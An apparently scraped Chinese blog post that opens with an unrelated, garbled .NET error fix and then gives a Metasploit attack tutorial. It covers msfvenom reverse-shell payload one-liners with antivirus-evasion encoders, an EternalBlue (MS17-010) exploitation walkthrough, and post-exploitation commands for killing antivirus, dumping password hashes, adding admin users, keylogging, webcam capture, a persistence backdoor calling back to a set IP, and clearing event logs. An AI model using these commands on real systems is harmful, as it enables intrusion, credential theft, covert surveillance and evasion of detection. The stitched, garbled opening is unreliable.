前沿拓展:
net framework 2
win7中出现 CLR20r3错误 .net framework 错误是设置错误造成的,解决方法为:
1、待该软件下载完成后,双击打开该软件。
2、进入是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名
msfvenom(用于生成木马文件)
-p, –payload <payload> 指定需要使用的payload(攻击荷载)
-l, –list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, –nopsled <length> 为payload预先指定一个NOP滑动长度
-f, –format <format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器)
-a, –arch <architecture> 指定payload的目标架构
–platform <platform> 指定payload的目标平台
-s, –space <length> 设定有效攻击荷载的最大长度
-b, –bad-chars <list> 设定规避字符集,比如: 'x00xff'
-i, –iterations <count> 指定payload的编码次数
-c, –add-code <path> 指定一个附加的win32 shellcode文件
-x, –template <path> 指定一个自定义的可执行文件作为模板
-k, –keep 保护模板程序的动作,注入的payload作 为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out <path> 保存payload
-v, –var-name <name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表查看支持的payload列表:msfvenom -l payloads
查看支持的输出文件类型:msfvenom –help-formats
查看支持的编码方式:(为了达到免杀的效果):msfvenom -l encoders
查看支持的空字段模块:(为了达到免杀的效果):msfvenom -l nops
简单payload使用
Linux:
反向连接:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=< Port to Connect On> -f elf > shell.elf
正向连接:msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f exe > shell.exe
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f asp > shell.asp
Python:
msfvenom -p cmd/unix/reverse_python LHOST=< IP Address> LPORT=< Port to Connect On> -f raw > shell.pymsfconsole(命令行)
这个界面可看到metasploit当前版本,各个模块的插件数量。
auxiliary扫描模块exploits漏洞利用模块payloadsencoders编码模块nops空字符模块psot模块evasion模块(创建反杀毒软件的木马)
命令行可输入search寻找利用模块
msf5 > search MS17_010
常用的payload
Linux:
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell_reverse_tcp
linux/x64/shell_bind_tc
Windows:
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcpMS17_010 Eternal bule(永恒之蓝)
下面用永恒之蓝演示一下
进入msfconsole search命令搜索MS17_010
搜索到相应的五个模块
使用第二个辅助模块来帮助我们探测哪些主机存在漏洞 输入此命令
msf5 > use auxiliary/scanner/**b/**b_ms17_010
msf5 auxiliary(scanner/**b/**b_ms17_010) >
查看所需要的配置信息:show options
使用RHOSTS 参数 来查询指定IP范围内的主机是否存在漏洞 第二输入exploit进行探测
看扫描结果 我内网连的主机少 结果前面如果是+,说明这台主机存在漏洞
之后就可以使用漏洞利用模块了 输入命令 输入info查看漏洞信息
msf5 auxiliary(scanner/**b/**b_ms17_010) > use exploit/windows/**b/ms17_010_eternalblue
msf5 exploit(windows/**b/ms17_010_eternalblue) > info
查看payloads 命令:show payloads
可以看到很多payload 自己根据当时情况使用哪个payload 想用哪个用哪个
设置payload 第二查看参数
RHOSTS 设置要攻击的主机IP ;LHOSTS 设置自己的IP 用于接收反弹回来的shell,默认4444端口** 第二exploit开始攻击
接下来就不演示了 说一下exploit攻击成功后的渗透的相关命令
1.运行了exploit命令之后,就开启了一个reverse TCP**来**本地的 4444 端口,攻击者的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,第二我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
想要从meterpreter退到msf:background
输入命令: sessions -l 查看我们获得的shell
输入命令:sysinfo 查看攻击目标主机的相关信息
查看攻击目标主机是否在虚拟机上面运行:run post/windows/gather/checkvm
关闭目标主机上运行的杀毒软件:run killav
获取目标主机详细信息并保存到本地:run scraper
关于文件的命令:
cd:切换目标目录;
cat:读取文件内容;
rm:删除文件;
edit:使用vim编辑文件
ls:获取当前目录下的文件;
mkdir:新建目录;
rmdir:删除目录
关于上传文件和下载文件:
upload file 向目标主机上传文件
download file 在目标主机下载文件
2.关于提高权限
1.输入命令:getsystem 帮助我们提高权限(提示错误,但已经成功提权)
2.命令:getuid 获取当前用户信息(查看是什么权限)
3.获取目标主机用户名密码
1.run windows/gather/credentials/windows_autologin 抓取自动登录用户的用户名和登录密码
2.run hashdump hashdump模块从SAM数据库导出本地用户(得到的密码哈希值可用 Jhon the Ripper来破解密码)
4.关于目标主机里的程序
1.run post/windows/gather/enum_applications 查看目标主机安装的应用程序
2.execute 此命令可在目标系统中执行相关应用程序
execute 参数 -f 可执行文件
可选参数:
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i: 跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程screenshot 目标主机屏幕截图 图片会保存到/root目录下
5.创建新本地用户
1.run post/windows/gather/enum_logged_on_users 查看当前主机已存在的用户
2.run getgui -u username -p password 添加一个用户为username,密码为password的用户,第二添加到Administrators组中(如果添加失败,可以使用之前execute命令运行cmd窗口手动将用户添加到Administrators组中)
6.关于远程桌面
第一确保目标主机开启了远程桌面功能
1.idletime 先检查主机远程用户的空闲时长
2.run getgui -e
3.run post/windows/manage/enable_rdp 以上两个命令都可开启目标主机远程桌面功能
7.关于记录键盘
1.keyscan_start:开启键盘记录功能
2.keyscan_dump:显示捕捉到的键盘记录信息
3.keyscan_stop:停止键盘记录功能
8.关于绑定进程实现meterpreter持久化
ps 查看目标设备中运行的进程
getpid 查看我们当前运行的进程id
migrate 命令来绑定目标进程id(后面跟要绑定进程的id即可)
run post/windows/manage/migrate 此命令会自动寻找合适的教=进程第二换绑定进程
9.关于目标主机的摄像头
webcam_list 获取目标主机的摄像头列表
webcam_snap 从指定的摄像头拍摄照片
webcam_stream 从指定的摄像头开启视频
10.关于留后门
如果目标主机关机,meterpreter建立的连接就会断开
所以我们可以在目标主机系统内留下一个持续性的后门,只要目标主机开机,我们就可以连接到该主机
通过添加服务到注册表 之后只要开机就会自动启动并连接
run persistence -X -i 8 -p 6666 -r 192.168.10.27 #反弹时间间隔是8s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
#运行之后它就在目标机新建了这个文件:
C:WindowsTEMPCJzhFlNOWa.vbs 代表把该服务加入了注册表中,只要开机就会启动
添加之后的连接就是在6666端口进行**
11.最后清除**日志(拍拍**走人,要拍干净才能走哦)
之前我们做的所有**作都会被记录在攻击的目标主机的系统日志文件之中,所以我们需要在完成攻击之后清除掉**日志
clearev 清除**日志
拓展知识:
原创文章,作者:九贤生活小编,如若转载,请注明出处:http://www.wangguangwei.com/10294.html